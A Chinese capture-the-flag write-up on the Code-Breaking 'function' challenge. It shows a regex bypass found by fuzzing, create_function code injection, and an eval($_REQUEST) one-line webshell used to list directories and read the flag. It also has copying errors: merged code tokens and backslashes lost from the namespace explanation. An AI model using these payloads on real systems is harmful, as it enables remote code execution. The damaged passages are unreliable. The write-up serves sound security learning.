php action function,代码审计从入门到放弃(一) & function

本文介绍了如何通过字符fuzz绕过PHP代码审计中的正则过滤,利用`create_function`实现代码注入并获取flag。文章详细讲解了正则表达式的Bypass技巧,以及在代码审计过程中寻找getshell函数的方法,适合学习PHP安全和代码审计的读者。
摘要由CSDN通过智能技术生成

原标题:代码审计从入门到放弃(一) & function

前言

题目概述

漏洞点思考

字符fuzz

getshell函数寻找

getflag

相关实验操作

小结

前言

CodeBreaking是ph牛搭建的代码审计挑战赛:https://code-breaking.com

刚发布的时候一直忙于学业和一些琐事,没法认真研究和学习,最近闲下来了,于是打算填下这个坑~

题目ph牛均已开源至github:https://github.com/phith0n/code-breaking(必须starXD)

题目概述

$action= $_GET['action'] ?? '';

$arg= $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD',$action)) {

show_source(__FILE__);

}else {

$action('', $arg);

}

源码言简意赅,首先是希望我们输入两个参数

$action= $_GET['action'] ?? '';

$arg= $_GET['arg'] ?? '';

其中双问号为三元运算表达式,等价于

$action= $_GET['action'] ? $_GET['action']: '';

$arg= $_GET['arg'] ? $_GET['action']: '';

即输入两个参数,若输入,则取我们的输入,否则为空

然后是对$_GET['action']的正则表达式过滤

if(preg_match('/^[a-z0-9_]*$/isD',$action)

如果不被匹配到正则,则可以进行如下操作

$action('',$arg);

漏洞点思考

题目意思也很简单,我们的关注点应该停留到正则匹配上,因为一旦绕过正则,则可以进行危险函数构造,成功getshell或是读取文件,我们先来看一下正则/^[a-z0-9_]*$/isD的意思:

/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]

/D如果使用$限制结尾字符,则不允许结尾有换行;

那么很显然,所有以数字,字母,下划线等开头的value都会被过滤,我们无法进入下面的

$action('',$arg);

那么现在的目的很简单:

按照正则的意思,找到一个不是以数字,字母,下划线等开头的value,同时可以正常执行函数

我们曾经有如下正则Bypass的样例

if(preg_match('/^(.*)flag(.*)$/',$payload))

对于^开头,$结尾的正则,如果用.进行任意字符匹配,那么则不包括换行符

所以这种情况我们可以用%0a进行bypass

正常输入flag:

b533b38a45b312175ae563ade38e7e96.png

利用%0a进行bypass:

ebc30e370659895d0baee2349d9eda36.png

可以明显看出两张图的对比,这里我们利用%0a打头,成功bypass正则,达到任意input,那么我们也没有相同的思路去bypass现在的正则呢?

既然要顺应正则的意思,我们不妨看看有没有什么特殊字符可以达到一样的效果,不妨进行字符fuzz

字符fuzz

既然要找一个这样满足条件的字符,我们可以进行fuzz

importrequests

fori in range(1,256):

tmp= hex(i)[2:]

iflen(tmp)<2:

tmp= '0'+hex(i)[2:]

tmp= '%'+tmp

url= 'http://localhost:22000/?action='+tmp+'var_dump&arg=23333'

r =requests.get(url=url)

if'23333' in r.content:

printr.content

printurl

可以得到结果

string(0)""

string(5)"23333"

http://106.14.114.127:22000/?action=%5cvar_dump&arg=23333

[Finishedin 5.3s]

我们发现当且仅当使用%5c打头时,我们可以正常运行var_dump(),并且成功满足正则。

那么这是为什么呢?

ph牛有如下总结

php里默认命名空间是,所有原生函数和类都在这个命名空间中。

普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;

而如果写function_name()这样调用函数,则其实是写了一个绝对路径。

如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

同时我们参考php手册

http://www.php.net/manual/zh/language.namespaces.rationale.php

其中有如下样例代码:

namespacemyname;

classMyClass {}

constMYCONST = 1;

$a =new MyClass;

$c =new mynameMyClass;

$d =namespaceMYCONST;

$d =__NAMESPACE__ . 'MYCONST';

echoconstant($d);

?>

可以很直观的看出对比,以及的用法

getshell函数寻找

那么既然现在我们找到了利用进行正则bypass的方法,则需要找一个合适的getshell/ readfile函数

这里注意到参数的构造方式

$action('',$arg);

很显然,需要一个可以输入至少2个参数的函数,同时第二个参数存在RCE的风险

这里可以简单翻阅我之前写的PHPCommand / Code Injection Summary

链接如下

https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/

不难找到如下函数

stringcreate_function ( string $args , string $code )

通过官方样例

$newfunc= create_function('$a,$b', 'return "ln($a) + ln($b) = " .log($a * $b);');

echo"New anonymous function: $newfuncn";

echo$newfunc(2, M_E) . "n";

//outputs

//New anonymous function: lambda_1

//ln(2) + ln(2.718281828459) = 1.6931471805599

?>

我们可以得到create_function()这样的原型

functiontest($a,$b)

{

return"ln($a) + ln($b) = " . log($a * $b);

}

第一个参数控制函数的变量名,第二个参数控制函数内的代码

那么我们这里

$action('',$arg);

可以说很容易进行代码注入拼接达到bypass,例如

$arg= return "2333";}phpinfo();/*

我们不妨带入

functiontest($a,$b)

{

return"2333";

}

phpinfo();

/*}

可以发现,这样即可进行RCE,我们测试一下

http://localhost:22000/?action=%5ccreate_function&arg=return"2333";}phpinfo();/*

510a9eab014f1cab5774a3fe98f74dd0.png

发现成功执行了phpinfo

getflag

那么我们插入一句话木马

$arg= return "2333";}eval($_REQUEST['sky']);/*

得到

?action=%5ccreate_function&arg=return"2333";}eval($_REQUEST['sky']);/*&sky=system('ls');

但是得到回显

Warning:system() has been disabled for security reasons in/var/www/html/index.php(8) : runtime-created function(1) : eval()'dcode on line 1

那么我们更改命令

sky=var_dump(scandir('./'));

得到回显

array(3){ [0]=> string(1) "." [1]=> string(2) ".."[2]=> string(9) "index.php" }

我们继续查看上层目录

sky=var_dump(scandir('../'));

得到回显

array(4){ [0]=> string(1) "." [1]=> string(2) ".."[2]=> string(31) "flag_h0w2execute_arb1trary_c0de" [3]=>string(4) "html" }

至此,我们成功getflag

flag_h0w2execute_arb1trary_c0de

相关实验操作

1. 渗透PHP代码审计——学习PHP代码审计的基础知识,为以后的工作奠定基础

http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001

651cd4e7a7c04337f8814fc7bbede175.png

2. 正则表达式——了解正则表达式,掌握sed和awk工具的使用

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014120311252200001

86ecb07c88228fd23c45749ed8fba7ae.png

3. fuzz实践及module编写——了解fuzz的思想,根据需求进行module的编写及利用

http://www.hetianlab.com/expc.do?ec=ECID186f-336b-49d9-b256-4f9d1efcc565

961efc08273c73c81c10a47240c7e4d7.png

小结

本地考察的难点应该在于字符fuzz,用打头bypass过滤提供了一个不错的思路,在日后的bypass上,不妨进行相应的测试~

大家有好的技术原创文章

了解投稿详情点击重金悬赏 | 合天原创投稿等你来!

82085401254c7edf0d2e8250cb2d4b05.gif

戳 “阅读原文”一起来充电吧! 返回搜狐,查看更多

责任编辑:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值